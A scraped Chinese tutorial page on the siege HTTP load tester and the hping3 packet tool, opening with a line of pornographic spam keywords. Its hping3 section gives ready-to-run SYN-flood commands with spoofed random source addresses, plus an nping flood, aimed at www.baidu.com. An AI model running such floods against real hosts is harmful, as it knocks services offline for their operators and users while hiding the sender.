真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

sige壓力測試和hping3發(fā)包工具(初稿)

siege:

成都創(chuàng)新互聯(lián)公司是專業(yè)的翔安網(wǎng)站建設(shè)公司,翔安接單;提供網(wǎng)站建設(shè)、網(wǎng)站制作,網(wǎng)頁設(shè)計,網(wǎng)站設(shè)計,建網(wǎng)站,PHP網(wǎng)站建設(shè)等專業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行翔安網(wǎng)站開發(fā)網(wǎng)頁制作和功能擴(kuò)展;專業(yè)做搜索引擎喜愛的網(wǎng)站,專業(yè)的做網(wǎng)站團(tuán)隊,希望更多企業(yè)前來合作!

[root@localhost siege-4.0.2]# tar xf siege-latest.tar.gz

[root@localhost siege-4.0.2]# ./configure &&make &&make install

 

安裝完后,配置文件在/root/.siege/下

 

Siege命令常用參數(shù)

-R 指定特定的配置文件來運行

-l 運行將結(jié)果保存于日志文件中,默認(rèn)位于/var/log/siege.log

-c 200 指定并發(fā)數(shù)200
-r 5 指定測試的次數(shù)5  
-f urls.txt 制定url的文件
-i internet系統(tǒng),隨機(jī)發(fā)送url
-b 請求無需等待delay=0
-t 5 持續(xù)測試5分鐘

-u   指定一個網(wǎng)址,進(jìn)行***
# -r和-t一般不同時使用

 

# 200個并發(fā)對http://www.google.com發(fā)送請求100次

siege -c 200 -r 100 www.google

 

# 在urls.txt中列出所有的網(wǎng)址

siege -c 200 -r 100 -f urls.txt

 

# 隨機(jī)選取urls.txt中列出所有的網(wǎng)址

siege -c 200 -r 100 -f urls.txt -i

 

# delay=0,更準(zhǔn)確的壓力測試,而不是功能測試

siege -c 200 -r 100 -f urls.txt -i -b

 

# 指定http請求頭 文檔類型

siege -H“Content-Yype:application/json” -c 200 -r 100 -f urls.txt -i -b

 

Siege輸出結(jié)果說明

Transactions: 總共測試次數(shù)
Availability: 成功次數(shù)百分比
Elapsed time: 總共耗時多少秒
Data transferred: 總共數(shù)據(jù)傳輸
Response time: 等到響應(yīng)耗時
Transaction rate: 平均每秒處理請求數(shù)
Throughput: 吞吐率
Concurrency: 最高并發(fā)

Successful transactions: 成功的請求數(shù)
Failed transactions: 失敗的請求數(shù)

 

 

Siege使用的一些總結(jié)

1,發(fā)送post請求時,url格式為:http://www.xxxx.com/ POST p1=v1&p2=v2
2,如果url中含有空格和中文,要先進(jìn)行url編碼,否則siege發(fā)送的請求url不準(zhǔn)確

添加

siege -C 可以查看相關(guān)的配置參數(shù),可以自行修改,比如是否顯示log,超時時間

 

 

 

 

 

 

 

hping3:

[root@localhost ~]# tar xf hping3-20051105.tar.gz

[root@localhost ~]# cd hping3-20051105

[root@localhost ~]# cd hping3-20051105

[root@localhost hping3-20051105]# ./configure

creating Makefile...

creating dependences...

In file included from ars.h:20,

                 from apd.c:19:

bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h

In file included from apd.c:19:

ars.h:190:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:254:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:323:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

In file included from ars.h:20,

                 from ars.c:24:

出現(xiàn)這個報錯。

[root@localhost hping3-20051105]# vi bytesex.h//加上一句話

#if     defined(__i386__) \

    || defined(__x86_64__) \

    || defined(__alpha__) \

    || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

 

 

[root@localhost hping3-20051105]# make

gcc -c -O2 -Wall    -g  main.c

main.c:29:18: error: pcap.h: No such file or directory

main.c:169: error: expected ‘=’,‘,’,‘;’,‘a(chǎn)sm’or‘__attribute__’before‘*’token

main.c:170: error: ‘PCAP_ERRBUF_SIZE’undeclared here (not in a function)

make: *** [main.o] Error 1

 

[root@bogon hping3-20051105]# yum -y install libpcap

[root@bogon hping3-20051105]# yum -y install libpcap-devel

[root@bogon hping3-20051105]#ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h

[root@bogon hping3-20051105]# yum -y install tcl-devel

[root@bogon hping3-20051105]# make

[root@bogon hping3-20051105]# make strip

[root@bogon hping3-20051105]# make install

cp -f hping3 /usr/sbin/

chmod 755 /usr/sbin/hping3

ln -s /usr/sbin/hping3 /usr/sbin/hping

ln -s /usr/sbin/hping3 /usr/sbin/hping2

@@@@@@ WARNING @@@@@@

Can't install the man page: /usr/local/man/man8 does not exist

[root@bogon hping3-20051105]# hping

hping   hping2  hping3  

 

SYN洪水***:

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-sourcewww.baidu.com -i u1000

-c 發(fā)送數(shù)據(jù)包數(shù)量

-d 發(fā)送到目標(biāo)機(jī)器每個數(shù)據(jù)包大小

-S 只發(fā)送SYN數(shù)據(jù)包

-w tcp窗口大小

-p 目的端口

--flood 洪水模式,不考慮顯示入站回復(fù)

--rand-source 使用隨機(jī)性源頭IP地址-a或者-spoof來隱藏主機(jī)名

www.baidu.com   目標(biāo)IP或者網(wǎng)址

-i   每個包時間間隔,u1000是1000微秒

 

簡單的SYN洪水***:

hping3 -S -P -U --flood -V -rand-source www.baidu.com

-2 --udp UDP 模式,缺省下,HPING會發(fā)送UDP報文到主機(jī)的0端口,你可以用--baseport --destport --keep選項指定其模式。

-a 1.1.1.1 --spoof doo   -a是隱藏IP,--spoof是隱藏主機(jī)名

 

nping  --tcp-connect -rate=90000 -c 900000 -q www.baidu.com


分享題目:sige壓力測試和hping3發(fā)包工具(初稿)
標(biāo)題網(wǎng)址:http://weahome.cn/article/jcjsos.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部